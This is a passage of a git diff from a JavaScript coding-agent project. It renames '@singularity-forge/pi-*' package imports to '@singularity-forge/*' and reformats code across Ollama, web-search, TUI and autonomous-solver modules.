─────────────────────────────────────────────── -// Replicated from openai-shared.ts (not exported from "@singularity-forge/pi-ai) +// Replicated from openai-shared.ts (not exported from "@singularity-forge/ai) function buildInitialOutput(model) { return { role: "assistant", diff --git a/src/resources/extensions/ollama/ollama-commands.js b/src/resources/extensions/ollama/ollama-commands.js index 92eaeb929..87fa019d3 100644 --- a/src/resources/extensions/ollama/ollama-commands.js +++ b/src/resources/extensions/ollama/ollama-commands.js @@ -1,5 +1,5 @@ // sf — Ollama slash commands -import { Text } from "@singularity-forge/pi-tui"; +import { Text } from "@singularity-forge/tui"; import { formatModelSize } from "./model-capabilities.js"; import * as client from "./ollama-client.js"; import { discoverModels, formatModelForDisplay } from "./ollama-discovery.js"; diff --git a/src/resources/extensions/ollama/ollama-tool.js b/src/resources/extensions/ollama/ollama-tool.js index 310f101d4..7f259ba71 100644 --- a/src/resources/extensions/ollama/ollama-tool.js +++ b/src/resources/extensions/ollama/ollama-tool.js @@ -4,7 +4,7 @@ * with the local Ollama instance — list models, pull new ones, check status. */ import { Type } from "@sinclair/typebox"; -import { Text } from "@singularity-forge/pi-tui"; +import { Text } from "@singularity-forge/tui"; import { formatModelSize } from "./model-capabilities.js"; import * as client from "./ollama-client.js"; import { discoverModels, formatModelForDisplay } from "./ollama-discovery.js"; diff --git a/src/resources/extensions/remote-questions/config.js b/src/resources/extensions/remote-questions/config.js index 6fdffd595..3657f16a9 100644 --- a/src/resources/extensions/remote-questions/config.js +++ b/src/resources/extensions/remote-questions/config.js @@ -1,7 +1,7 @@ /** * Remote Questions — configuration resolution and validation */ -import { AuthStorage } from "@singularity-forge/pi-coding-agent"; +import { AuthStorage } from "@singularity-forge/coding-agent"; import { loadEffectiveSFPreferences } from "../sf/preferences.js"; const ENV_KEYS = { diff --git a/src/resources/extensions/remote-questions/manager.js b/src/resources/extensions/remote-questions/manager.js index d935216f6..ff65b13ed 100644 --- a/src/resources/extensions/remote-questions/manager.js +++ b/src/resources/extensions/remote-questions/manager.js @@ -5,7 +5,7 @@ import { randomUUID } from "node:crypto"; import { formatRoundResultForTool, roundResultFromRemoteAnswer, -} from "@singularity-forge/pi-agent-core"; +} from "@singularity-forge/agent-core"; import { sanitizeError } from "../shared/sanitize.js"; import { resolveRemoteConfig, diff --git a/src/resources/extensions/remote-questions/remote-command.js b/src/resources/extensions/remote-questions/remote-command.js index 9059a0322..db3a4fdd2 100644 --- a/src/resources/extensions/remote-questions/remote-command.js +++ b/src/resources/extensions/remote-questions/remote-command.js @@ -3,13 +3,13 @@ */ import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; import { dirname, join } from "node:path"; -import { AuthStorage } from "@singularity-forge/pi-coding-agent"; +import { AuthStorage } from "@singularity-forge/coding-agent"; import { Editor, Key, matchesKey, truncateToWidth, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; import { getGlobalSFPreferencesPath, loadEffectiveSFPreferences, diff --git a/src/resources/extensions/search-the-web/index.js b/src/resources/extensions/search-the-web/index.js index 2b823d6c8..3aea3f964 100644 --- a/src/resources/extensions/search-the-web/index.js +++ b/src/resources/extensions/search-the-web/index.js @@ -4,7 +4,7 @@ * Native Anthropic hooks stay eager. Heavy tool registration is deferred in * interactive mode so startup is not blocked on the full search tool stack. */ -import { importExtensionModule } from "@singularity-forge/pi-coding-agent"; +import { importExtensionModule } from "@singularity-forge/coding-agent"; import { registerSearchProviderCommand } from "./command-search-provider.js"; import { registerNativeSearchHooks } from "./native-search.js"; diff --git a/src/resources/extensions/search-the-web/provider.js b/src/resources/extensions/search-the-web/provider.js index 28185517d..1f41a422e 100644 --- a/src/resources/extensions/search-the-web/provider.js +++ b/src/resources/extensions/search-the-web/provider.js @@ -11,7 +11,7 @@ */ import { homedir } from "node:os"; import { join } from "node:path"; -import { AuthStorage } from "@singularity-forge/pi-coding-agent"; +import { AuthStorage } from "@singularity-forge/coding-agent"; import { resolveSearchProviderFromPreferences } from "../sf/preferences.js"; // Compute authFilePath locally instead of importing from app-paths.ts, diff --git a/src/resources/extensions/search-the-web/tool-fetch-page.js b/src/resources/extensions/search-the-web/tool-fetch-page.js index 102833fc7..06605ab42 100644 --- a/src/resources/extensions/search-the-web/tool-fetch-page.js +++ b/src/resources/extensions/search-the-web/tool-fetch-page.js @@ -12,8 +12,8 @@ import { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, truncateHead, -} from "@singularity-forge/pi-coding-agent"; -import { Text } from "@singularity-forge/pi-tui"; +} from "@singularity-forge/coding-agent"; +import { Text } from "@singularity-forge/tui"; import { LRUTTLCache } from "./cache.js"; import { formatPageContent } from "./format.js"; import { fetchSimple, HttpError } from "./http.js"; @@ -78,7 +78,7 @@ async function fetchDirectFallback(url, signal) { method: "GET", headers: { Accept: "text/html,application/xhtml+xml,application/json,text/plain", - "User-Agent": "Mozilla/5.0 (compatible; pi-coding-agent/1.0)", + "User-Agent": "Mozilla/5.0 (compatible; coding-agent/1.0)", }, signal, timeoutMs: 15_000, diff --git a/src/resources/extensions/search-the-web/tool-llm-context.js b/src/resources/extensions/search-the-web/tool-llm-context.js index ea9bf7609..e6789a924 100644 --- a/src/resources/extensions/search-the-web/tool-llm-context.js +++ b/src/resources/extensions/search-the-web/tool-llm-context.js @@ -19,13 +19,13 @@ * Use search-the-web when you want links/URLs to browse selectively. */ import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; import { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, truncateHead, -} from "@singularity-forge/pi-coding-agent"; -import { Text } from "@singularity-forge/pi-tui"; +} from "@singularity-forge/coding-agent"; +import { Text } from "@singularity-forge/tui"; import { LRUTTLCache } from "./cache.js"; import { formatLLMContext } from "./format.js"; import { classifyError, fetchWithRetryTimed, HttpError } from "./http.js"; diff --git a/src/resources/extensions/search-the-web/tool-search.js b/src/resources/extensions/search-the-web/tool-search.js index c68056fe3..771da82b2 100644 --- a/src/resources/extensions/search-the-web/tool-search.js +++ b/src/resources/extensions/search-the-web/tool-search.js @@ -10,14 +10,14 @@ * - Rate limit info in details */ import { Type } from "@sinclair/typebox"; -import { StringEnum } from "@singularity-forge/pi-ai"; +import { StringEnum } from "@singularity-forge/ai"; import { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, truncateHead, -} from "@singularity-forge/pi-coding-agent"; -import { Text } from "@singularity-forge/pi-tui"; +} from "@singularity-forge/coding-agent"; +import { Text } from "@singularity-forge/tui"; import { recordRetrievalEvidence } from "../sf/retrieval-evidence.js"; import { LRUTTLCache } from "./cache.js"; import { formatSearchResults } from "./format.js"; diff --git a/src/resources/extensions/sf-tui/emoji.js b/src/resources/extensions/sf-tui/emoji.js index d33c6967d..9172ffaac 100644 --- a/src/resources/extensions/sf-tui/emoji.js +++ b/src/resources/extensions/sf-tui/emoji.js @@ -4,7 +4,7 @@ * Displays an emoji in the footer status line. Supports manual selection, * AI-powered selection based on conversation, or random assignment. */ -import { complete } from "@singularity-forge/pi-ai"; +import { complete } from "@singularity-forge/ai"; const DEFAULT_CONFIG = { enabledByDefault: true, diff --git a/src/resources/extensions/sf-tui/footer.js b/src/resources/extensions/sf-tui/footer.js index 48d7a3df6..6e724447b 100644 --- a/src/resources/extensions/sf-tui/footer.js +++ b/src/resources/extensions/sf-tui/footer.js @@ -1,4 +1,4 @@ -import { truncateToWidth, visibleWidth } from "@singularity-forge/pi-tui"; +import { truncateToWidth, visibleWidth } from "@singularity-forge/tui"; import { getAutoSession } from "../sf/auto/session.js"; import { refreshGitStatus } from "./git.js"; import { renderModeBadge } from "./header.js"; diff --git a/src/resources/extensions/sf-tui/header.js b/src/resources/extensions/sf-tui/header.js index 14da71055..c4ade3114 100644 --- a/src/resources/extensions/sf-tui/header.js +++ b/src/resources/extensions/sf-tui/header.js @@ -1,5 +1,5 @@ import { basename } from "node:path"; -import { truncateToWidth, visibleWidth } from "@singularity-forge/pi-tui"; +import { truncateToWidth, visibleWidth } from "@singularity-forge/tui"; import { getAutoSession } from "../sf/auto/session.js"; import { refreshGitStatus } from "./git.js"; diff --git a/src/resources/extensions/sf-tui/index.js b/src/resources/extensions/sf-tui/index.js index 5b87dad90..3e2e34d60 100644 --- a/src/resources/extensions/sf-tui/index.js +++ b/src/resources/extensions/sf-tui/index.js @@ -11,7 +11,7 @@ import { execSync, spawn } from "node:child_process"; import { randomUUID } from "node:crypto"; import { platform } from "node:os"; -import { Key } from "@singularity-forge/pi-tui"; +import { Key } from "@singularity-forge/tui"; import { getAutoSession } from "../sf/auto/session.js"; import { isAutoActive } from "../sf/auto.js"; import { projectRoot } from "../sf/commands/context.js"; diff --git a/src/resources/extensions/sf-tui/marketplace.js b/src/resources/extensions/sf-tui/marketplace.js index 4c2dfb0df..d49647f26 100644 --- a/src/resources/extensions/sf-tui/marketplace.js +++ b/src/resources/extensions/sf-tui/marketplace.js @@ -6,7 +6,7 @@ import { matchesKey, truncateToWidth, visibleWidth, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; import { getExperimentalFlag } from "../sf/experimental.js"; const CATEGORIES = ["all", "extension", "skill", "theme"]; diff --git a/src/resources/extensions/sf-tui/powerline.js b/src/resources/extensions/sf-tui/powerline.js index 527dc1be5..31f14ff24 100644 --- a/src/resources/extensions/sf-tui/powerline.js +++ b/src/resources/extensions/sf-tui/powerline.js @@ -1,4 +1,4 @@ -import { truncateToWidth, visibleWidth } from "@singularity-forge/pi-tui"; +import { truncateToWidth, visibleWidth } from "@singularity-forge/tui"; const RESET = "\x1b[0m"; function fgCode(color) { diff --git a/src/resources/extensions/sf-tui/prompt-history.js b/src/resources/extensions/sf-tui/prompt-history.js index 8d4ef37ec..9050eaa04 100644 --- a/src/resources/extensions/sf-tui/prompt-history.js +++ b/src/resources/extensions/sf-tui/prompt-history.js @@ -6,7 +6,7 @@ import { matchesKey, truncateToWidth, visibleWidth, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; const LIMIT = 20; const SCAN_LINE_LIMIT = 2000; diff --git a/src/resources/extensions/sf-tui/shared.js b/src/resources/extensions/sf-tui/shared.js index aa8b90213..31ceb53c9 100644 --- a/src/resources/extensions/sf-tui/shared.js +++ b/src/resources/extensions/sf-tui/shared.js @@ -1,4 +1,4 @@ -import { visibleWidth } from "@singularity-forge/pi-tui"; +import { visibleWidth } from "@singularity-forge/tui"; export function rightAlign(left, right, width) { const leftVis = visibleWidth(left); const rightVis = visibleWidth(right); diff --git a/src/resources/extensions/sf-usage-bar/index.js b/src/resources/extensions/sf-usage-bar/index.js index c60a2e066..002f5fd1b 100644 --- a/src/resources/extensions/sf-usage-bar/index.js +++ b/src/resources/extensions/sf-usage-bar/index.js @@ -18,7 +18,7 @@ import { makeFakeConfig, setupUser, } from "@google/gemini-cli-core"; -import { visibleWidth } from "@singularity-forge/pi-tui"; +import { visibleWidth } from "@singularity-forge/tui"; // ============================================================================ // Auth helper diff --git a/src/resources/extensions/sf/agentic-docs-scaffold.js b/src/resources/extensions/sf/agentic-docs-scaffold.js index 521ef33a4..8d5202309 100644 --- a/src/resources/extensions/sf/agentic-docs-scaffold.js +++ b/src/resources/extensions/sf/agentic-docs-scaffold.js @@ -8,6 +8,7 @@ import { writeFileSync, } from "node:fs"; import { dirname, join } from "node:path"; +import { SCAFFOLD_FILES } from "./scaffold-constants.js"; import { migrateLegacyScaffold } from "./scaffold-drift.js"; import { bodyHash, @@ -16,7 +17,7 @@ import { stampScaffoldFile, } from "./scaffold-versioning.js"; import { logWarning } from "./workflow-logger.js"; -import { SCAFFOLD_FILES } from "./scaffold-constants.js"; + export { SCAFFOLD_FILES }; /** diff --git a/src/resources/extensions/sf/auto-dashboard.js b/src/resources/extensions/sf/auto-dashboard.js index 6be63ce9f..b4c0a108a 100644 --- a/src/resources/extensions/sf/auto-dashboard.js +++ b/src/resources/extensions/sf/auto-dashboard.js @@ -7,7 +7,7 @@ */ import { execFileSync } from "node:child_process"; import { existsSync, readFileSync, writeFileSync } from "node:fs"; -import { truncateToWidth, visibleWidth } from "@singularity-forge/pi-tui"; +import { truncateToWidth, visibleWidth } from "@singularity-forge/tui"; import { GLYPH, INDENT } from "../shared/mod.js"; import { formatRtkSavingsLabel, @@ -167,8 +167,17 @@ function formatSolverWidgetLine(basePath, theme, width, pad) { .join(" · "); return truncateToWidth(`${pad}${theme.fg("dim", text)}`, width, "…"); } -function formatUokDiagnosticWidgetLine(basePath, theme, width, pad, cachedDiagnostics) { - const diagnostics = cachedDiagnostics !== undefined ? cachedDiagnostics : readUokDiagnostics(basePath); +function formatUokDiagnosticWidgetLine( + basePath, + theme, + width, + pad, + cachedDiagnostics, +) { + const diagnostics = + cachedDiagnostics !== undefined + ? cachedDiagnostics + : readUokDiagnostics(basePath); if (!diagnostics) return null; const parts = [ `uok ${diagnostics.verdict ?? "unknown"}`, diff --git a/src/resources/extensions/sf/auto-dispatch.js b/src/resources/extensions/sf/auto-dispatch.js index e431d7709..e7e1084f3 100644 --- a/src/resources/extensions/sf/auto-dispatch.js +++ b/src/resources/extensions/sf/auto-dispatch.js @@ -12,16 +12,13 @@ import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { + buildChallengePrompt, buildCompleteMilestonePrompt, buildCompleteSlicePrompt, + buildDeployPrompt, buildDiscussMilestonePrompt, buildDiscussProjectPrompt, buildDiscussRequirementsPrompt, - buildDeployPrompt, - buildSmokeProductionPrompt, - buildReleasePrompt, - buildRollbackPrompt, - buildChallengePrompt, buildExecuteTaskPrompt, buildGateEvaluatePrompt, buildParallelResearchSlicesPrompt, @@ -30,12 +27,15 @@ import { buildReactiveExecutePrompt, buildReassessRoadmapPrompt, buildRefineSlicePrompt, + buildReleasePrompt, buildReplanSlicePrompt, buildResearchMilestonePrompt, buildResearchProjectPrompt, buildResearchSlicePrompt, buildRewriteDocsPrompt, + buildRollbackPrompt, buildRunUatPrompt, + buildSmokeProductionPrompt, buildValidateMilestonePrompt, buildWorkflowPreferencesPrompt, } from "./auto-prompts.js"; @@ -1865,7 +1865,7 @@ export const DISPATCH_RULES = [ if (state.phase !== "completing-milestone") return null; if (!prefs?.deploy?.target) return null; let deployRunId = null; - let failReason = "Smoke check failed"; + const failReason = "Smoke check failed"; try { const { getDatabase } = await import("./sf-db.js"); const db = getDatabase(basePath); diff --git a/src/resources/extensions/sf/auto-post-unit.js b/src/resources/extensions/sf/auto-post-unit.js index 47f38101b..c82e72934 100644 --- a/src/resources/extensions/sf/auto-post-unit.js +++ b/src/resources/extensions/sf/auto-post-unit.js @@ -162,10 +162,10 @@ const LIFECYCLE_ONLY_UNITS = new Set([ import { existsSync, unlinkSync } from "node:fs"; import { join } from "node:path"; +import { getAutoSession } from "./auto/session.js"; import { describeNextUnit } from "./auto-dashboard.js"; import { _resetHasChangesCache } from "./native-git-bridge.js"; import { autoCommitCurrentBranch } from "./worktree.js"; -import { getAutoSession } from "./auto/session.js"; /** * Detect summary files written directly to disk without the LLM calling @@ -337,7 +337,8 @@ export async function autoCommitUnit(basePath, unitType, unitId, ctx) { if (LIFECYCLE_ONLY_UNITS.has(unitType)) { return null; } - const sessionId = getAutoSession().cmdCtx?.sessionManager?.getSessionId?.() ?? null; + const sessionId = + getAutoSession().cmdCtx?.sessionManager?.getSessionId?.() ?? null; const commitMsg = autoCommitCurrentBranch( basePath, unitType, diff --git a/src/resources/extensions/sf/auto-prompts.js b/src/resources/extensions/sf/auto-prompts.js index 6ed32cb96..abb2a9add 100644 --- a/src/resources/extensions/sf/auto-prompts.js +++ b/src/resources/extensions/sf/auto-prompts.js @@ -7,7 +7,8 @@ */ import { existsSync } from "node:fs"; import { basename, join } from "node:path"; -import { getLoadedSkills } from "@singularity-forge/pi-coding-agent"; +import { getLoadedSkills } from "@singularity-forge/coding-agent"; +import { getAutoSession } from "./auto/session.js"; import { buildExtractionStepsBlock } from "./commands-extract-learnings.js"; import { computeBudgets, @@ -69,7 +70,6 @@ import { getPermittedSkills, loadSkills, } from "./skills/index.js"; -import { getAutoSession } from "./auto/session.js"; import { formatDecisionsCompact, formatRequirementsCompact, @@ -858,7 +858,7 @@ export function buildSkillActivationBlock(params) { // Every match is an explicit user/project intent and must not be dropped // by the unit-type manifest — user intent is stronger signal than // defaults. The manifest's real home is the skill catalog rendering - // layer (pi-coding-agent `formatSkillsForPrompt`); that wiring is tracked + // layer (coding-agent `formatSkillsForPrompt`); that wiring is tracked // as the "load-time short-circuit" follow-up to RFC #4779. // // `unitType` stays plumbed so the strict-mode warning can surface @@ -918,7 +918,8 @@ export function buildSkillActivationBlock(params) { try { const session = getAutoSession(); if (session?.workMode) workMode = session.workMode; - if (session?.permissionProfile) permissionProfile = session.permissionProfile; + if (session?.permissionProfile) + permissionProfile = session.permissionProfile; } catch { // getAutoSession may be unavailable in test contexts — use defaults } diff --git a/src/resources/extensions/sf/auto-start.js b/src/resources/extensions/sf/auto-start.js index 46351ee54..6e1268446 100644 --- a/src/resources/extensions/sf/auto-start.js +++ b/src/resources/extensions/sf/auto-start.js @@ -86,7 +86,12 @@ import { updateSessionLock, } from "./session-lock.js"; import { getSessionModelOverride } from "./session-model-override.js"; -import { expireStaleMemories, getMilestone, isDbAvailable, openDatabase } from "./sf-db.js"; +import { + expireStaleMemories, + getMilestone, + isDbAvailable, + openDatabase, +} from "./sf-db.js"; import { snapshotSkills } from "./skill-discovery.js"; import { deriveState, isGhostMilestone } from "./state.js"; import { isClosedStatus } from "./status-guards.js"; @@ -1041,7 +1046,10 @@ export async function bootstrapAutoSession( try { const expired = expireStaleMemories(); if (expired > 0) { - logWarning("engine", `Expired ${expired} stale ${expired === 1 ? "memory" : "memories"} (TTL exceeded)`); + logWarning( + "engine", + `Expired ${expired} stale ${expired === 1 ? "memory" : "memories"} (TTL exceeded)`, + ); } } catch { // Non-fatal — TTL expiry failure must not block autonomous start diff --git a/src/resources/extensions/sf/auto.js b/src/resources/extensions/sf/auto.js index a208bc9e2..648452524 100644 --- a/src/resources/extensions/sf/auto.js +++ b/src/resources/extensions/sf/auto.js @@ -37,6 +37,7 @@ import { import { collectSecretsFromManifest } from "../get-secrets-from-user.js"; import { getRtkSessionSavings } from "../shared/rtk-session-stats.js"; import { deactivateSF } from "../shared/sf-phase-state.js"; +import { showConfirm } from "../shared/tui.js"; import { clearActivityLogState } from "./activity-log.js"; import { atomicWriteSync } from "./atomic-write.js"; import { getAutoSession } from "./auto/session.js"; @@ -132,6 +133,7 @@ import { resetMetrics, } from "./metrics.js"; import { sendDesktopNotification } from "./notifications.js"; +import { resolvePreset } from "./operating-model.js"; import { milestonesDir, resolveDir, @@ -188,8 +190,6 @@ import { setActiveMilestoneId, } from "./worktree.js"; import { WorktreeResolver } from "./worktree-resolver.js"; -import { resolvePreset } from "./operating-model.js"; -import { showConfirm } from "../shared/tui.js"; export { MAX_LIFETIME_DISPATCHES, @@ -1424,7 +1424,11 @@ export async function startAuto(ctx, pi, base, verboseMode, options) { // Skip if workMode is already "build" — runControl is reset to "manual" on // autonomous stop but workMode persists, so this avoids a spurious prompt // for users who stay in Build mode between autonomous runs. - if (s.runControl === "manual" && s.workMode !== "build" && !options?.skipModeGate) { + if ( + s.runControl === "manual" && + s.workMode !== "build" && + !options?.skipModeGate + ) { const confirmed = await showConfirm(ctx, { title: "Switch to Build mode?", message: @@ -1441,7 +1445,10 @@ export async function startAuto(ctx, pi, base, verboseMode, options) { permissionProfile: buildPreset.permissionProfile, reason: "ask-to-build-gate", }); - ctx.ui.notify("Switched to Build mode — starting autonomous execution.", "info"); + ctx.ui.notify( + "Switched to Build mode — starting autonomous execution.", + "info", + ); } // On a *fresh* start, drop any stale active-tool baseline left by a prior // auto session that didn't run stopAuto cleanly. Skip on resume: pauseAuto @@ -1922,9 +1929,12 @@ export async function dispatchHookUnit( ) { if (!s.active) { // Guard: ctx from hook/shortcut callers may lack newSession(); fall back to cached command ctx. - const hookCtx = typeof ctx.newSession === "function" - ? ctx - : (typeof s.lastCommandCtx?.newSession === "function" ? s.lastCommandCtx : ctx); + const hookCtx = + typeof ctx.newSession === "function" + ? ctx + : typeof s.lastCommandCtx?.newSession === "function" + ? s.lastCommandCtx + : ctx; s.active = true; s.stepMode = true; s.runControl = "assisted"; diff --git a/src/resources/extensions/sf/auto/phases.js b/src/resources/extensions/sf/auto/phases.js index 745a4403c..60fbb34c4 100644 --- a/src/resources/extensions/sf/auto/phases.js +++ b/src/resources/extensions/sf/auto/phases.js @@ -8,7 +8,7 @@ */ import { cpSync, existsSync, readdirSync } from "node:fs"; import { basename, dirname, join, parse as parsePath } from "node:path"; -import { importExtensionModule } from "@singularity-forge/pi-coding-agent"; +import { importExtensionModule } from "@singularity-forge/coding-agent"; import { clearCurrentPhase, setCurrentPhase, @@ -35,8 +35,8 @@ import { resetToolCallCounts, } from "../auto-tool-tracking.js"; import { - assessAutonomousSolverTurn, appendAutonomousSolverCheckpoint, + assessAutonomousSolverTurn, beginAutonomousSolverIteration, buildAutonomousSolverMissingCheckpointRepairPrompt, buildAutonomousSolverPromptBlock, @@ -2245,7 +2245,8 @@ export async function runUnitPhase(ic, iterData, loopState, sidecarItem) { // provider before dispatching. This prevents the unit from burning a runUnit // call only to be immediately cancelled with no-transcript. { - const selectedProvider = s.currentUnitModel?.provider ?? ctx.model?.provider; + const selectedProvider = + s.currentUnitModel?.provider ?? ctx.model?.provider; if ( selectedProvider != null && typeof ctx.modelRegistry?.isProviderRequestReady === "function" @@ -2293,9 +2294,10 @@ export async function runUnitPhase(ic, iterData, loopState, sidecarItem) { // Short-circuit: if runUnit was cancelled (provider not ready, session // failed, timeout) there is no checkpoint to repair — skip the repair loop // entirely and let the cancelled handler below surface the real cause. - let solverAssessment = unitResult.status === "cancelled" - ? { action: "none" } - : assessAutonomousSolverTurn(s.basePath, unitType, unitId); + let solverAssessment = + unitResult.status === "cancelled" + ? { action: "none" } + : assessAutonomousSolverTurn(s.basePath, unitType, unitId); while (solverAssessment.action === "missing-checkpoint-retry") { const diagnosis = classifyAutonomousSolverMissingCheckpointFailure( currentUnitResult.event?.messages ?? [], @@ -2429,7 +2431,9 @@ export async function runUnitPhase(ic, iterData, loopState, sidecarItem) { outcome: "continue", summary: `Synthesized continue after ${solverAssessment.repairAttempts ?? "all"} repair attempt(s) failed to produce a checkpoint (${missingCheckpointDiagnosis?.classification ?? "unknown"}). Re-dispatching.`, completedItems: [], - remainingItems: ["Retry unit — checkpoint was missing from prior run"], + remainingItems: [ + "Retry unit — checkpoint was missing from prior run", + ], verificationEvidence: ["synthesized-by-runtime"], pdd: { purpose: "Runtime-synthesized continue to avoid deadlock", diff --git a/src/resources/extensions/sf/autonomous-solver.js b/src/resources/extensions/sf/autonomous-solver.js index 91b034c68..8d0b551d0 100644 --- a/src/resources/extensions/sf/autonomous-solver.js +++ b/src/resources/extensions/sf/autonomous-solver.js @@ -250,16 +250,20 @@ export function beginAutonomousSolverIteration( missingCheckpointRetry: null, // Stall and loop tracking carried across iterations iterationsSinceProgress: sameUnit(existing, unitType, unitId) - ? (Number(existing.iterationsSinceProgress) || 0) + ? Number(existing.iterationsSinceProgress) || 0 : 0, lastProgressAt: sameUnit(existing, unitType, unitId) ? (existing.lastProgressAt ?? null) : null, recentSummaryHashes: sameUnit(existing, unitType, unitId) - ? (Array.isArray(existing.recentSummaryHashes) ? existing.recentSummaryHashes : []) + ? Array.isArray(existing.recentSummaryHashes) + ? existing.recentSummaryHashes + : [] : [], recentCheckpointSummaries: sameUnit(existing, unitType, unitId) - ? (Array.isArray(existing.recentCheckpointSummaries) ? existing.recentCheckpointSummaries : []) + ? Array.isArray(existing.recentCheckpointSummaries) + ? existing.recentCheckpointSummaries + : [] : [], }; writeState(basePath, state); @@ -279,7 +283,8 @@ export function beginAutonomousSolverIteration( */ export function buildAutonomousSolverPromptBlock(state) { const phase = getSolverPhase(state.iteration, state.maxIterations); - const stalled = Number(state.iterationsSinceProgress) >= STALL_THRESHOLD_ITERATIONS; + const stalled = + Number(state.iterationsSinceProgress) >= STALL_THRESHOLD_ITERATIONS; const looping = detectSolverLoop(state.recentSummaryHashes); // ── Phase header ──────────────────────────────────────────────────────── @@ -346,7 +351,9 @@ export function buildAutonomousSolverPromptBlock(state) { lines.push( "", `## Recent Iteration History (last ${summaries.length})`, - ...summaries.map((s, i) => `- Iter ${state.iteration - summaries.length + i}: ${s}`), + ...summaries.map( + (s, i) => `- Iter ${state.iteration - summaries.length + i}: ${s}`, + ), ); } @@ -440,24 +447,32 @@ export function appendAutonomousSolverCheckpoint(basePath, params) { // ── Stall tracking ──────────────────────────────────────────────────── // Progress is measured by whether completedItems grew vs the prior checkpoint. // Stall counter resets on any real progress; increments otherwise. - ...((() => { - const priorCompleted = sanitizeList(state.latestCheckpoint?.completedItems).length; + ...(() => { + const priorCompleted = sanitizeList( + state.latestCheckpoint?.completedItems, + ).length; const newCompleted = checkpoint.completedItems.length; const madeProgress = newCompleted > priorCompleted; const prevStall = Number(state.iterationsSinceProgress) || 0; return { iterationsSinceProgress: madeProgress ? 0 : prevStall + 1, - lastProgressAt: madeProgress ? checkpoint.ts : (state.lastProgressAt ?? checkpoint.ts), + lastProgressAt: madeProgress + ? checkpoint.ts + : (state.lastProgressAt ?? checkpoint.ts), }; - })()), + })(), // ── Loop detection: ring buffer of last N summary fingerprints ───────── recentSummaryHashes: [ - ...(Array.isArray(state.recentSummaryHashes) ? state.recentSummaryHashes : []), + ...(Array.isArray(state.recentSummaryHashes) + ? state.recentSummaryHashes + : []), summaryFingerprint(checkpoint.summary), ].slice(-LOOP_DETECTION_WINDOW), // ── Rolling summary window: last N checkpoint summaries for context ──── recentCheckpointSummaries: [ - ...(Array.isArray(state.recentCheckpointSummaries) ? state.recentCheckpointSummaries : []), + ...(Array.isArray(state.recentCheckpointSummaries) + ? state.recentCheckpointSummaries + : []), checkpoint.summary, ].slice(-ROLLING_SUMMARY_WINDOW), }; @@ -552,8 +567,22 @@ export function classifyAutonomousSolverMissingCheckpointFailure(messages) { // break the self-referential repair loop. const checkpointToolIsRegistered = (() => { try { - const manifestPath = join(process.cwd(), "dist", "resources", "extensions", "sf", "extension-manifest.json"); - const srcManifestPath = join(process.cwd(), "src", "resources", "extensions", "sf", "extension-manifest.json"); + const manifestPath = join( + process.cwd(), + "dist", + "resources", + "extensions", + "sf", + "extension-manifest.json", + ); + const srcManifestPath = join( + process.cwd(), + "src", + "resources", + "extensions", + "sf", + "extension-manifest.json", + ); const manifestContent = existsSync(manifestPath) ? readFileSync(manifestPath, "utf-8") : existsSync(srcManifestPath) @@ -561,8 +590,10 @@ export function classifyAutonomousSolverMissingCheckpointFailure(messages) { : null; if (!manifestContent) return false; const manifest = JSON.parse(manifestContent); - return Array.isArray(manifest?.provides?.tools) && - manifest.provides.tools.includes("checkpoint"); + return ( + Array.isArray(manifest?.provides?.tools) && + manifest.provides.tools.includes("checkpoint") + ); } catch { return false; } @@ -583,8 +614,7 @@ export function classifyAutonomousSolverMissingCheckpointFailure(messages) { lower.includes("checkpoint saved to") || lower.includes("summary file"); const falselyClaimsSaved = - (lower.includes("checkpoint") || - lower.includes("checkpoint")) && + (lower.includes("checkpoint") || lower.includes("checkpoint")) && /(saved|recorded|complete|now saved)/.test(lower); if (mentionsToolUnavailable) { // Tool reported as unavailable but IS registered in manifest — agent mentioned @@ -702,7 +732,10 @@ export function assessAutonomousSolverTurn(basePath, unitType, unitId) { } // "decide" is treated as "continue": agent reconstructs best-effort and moves on return { - action: checkpoint.outcome === "continue" || checkpoint.outcome === "decide" ? "continue" : "complete", + action: + checkpoint.outcome === "continue" || checkpoint.outcome === "decide" + ? "continue" + : "complete", reason: `solver-${checkpoint.outcome}`, state, checkpoint, @@ -826,7 +859,10 @@ export function buildAutonomousSolverMissingCheckpointRepairPrompt( // The diagnosis is the most actionable signal — put it first so the agent's // attention lands on the specific failure mode before generic instructions. const lines = ["## Checkpoint Required — Repair Needed"]; - if (diagnosis?.classification && diagnosis.classification !== "no-transcript") { + if ( + diagnosis?.classification && + diagnosis.classification !== "no-transcript" + ) { const classificationLabels = { "checkpoint-tool-unavailable": "⚠️ checkpoint appeared unavailable — but it is ALWAYS registered at runtime. Call it now without searching for it. If you don't see it in your tool list, that is a model perception error; the tool will work.", @@ -841,8 +877,9 @@ export function buildAutonomousSolverMissingCheckpointRepairPrompt( "no-checkpoint-tool-call": "⚠️ You ended your turn without calling checkpoint at all. This is required. Call it now.", }; - const label = classificationLabels[diagnosis.classification] - ?? `⚠️ Failure pattern: ${diagnosis.classification} — ${diagnosis.summary ?? "missing checkpoint"}`; + const label = + classificationLabels[diagnosis.classification] ?? + `⚠️ Failure pattern: ${diagnosis.classification} — ${diagnosis.summary ?? "missing checkpoint"}`; lines.push("", label); } else if (diagnosis?.classification === "no-transcript") { lines.push( diff --git a/src/resources/extensions/sf/bootstrap/agent-end-recovery.js b/src/resources/extensions/sf/bootstrap/agent-end-recovery.js index e7bfce3c3..2c2d3725c 100644 --- a/src/resources/extensions/sf/bootstrap/agent-end-recovery.js +++ b/src/resources/extensions/sf/bootstrap/agent-end-recovery.js @@ -53,8 +53,11 @@ function isModelRouteFailure(cls) { ); } async function trySwitchToFallbackModel(args) { - const { getCurrentUnitModelFailures, recordCurrentModelFailure, setCurrentUnitModel } = - await import("../auto.js"); + const { + getCurrentUnitModelFailures, + recordCurrentModelFailure, + setCurrentUnitModel, + } = await import("../auto.js"); const modelConfig = resolveModelWithFallbacksForUnit(args.unitType, { autoBenchmark: true, }); @@ -113,10 +116,12 @@ async function trySwitchToFallbackModel(args) { } export async function handleAgentEnd(pi, event, ctx) 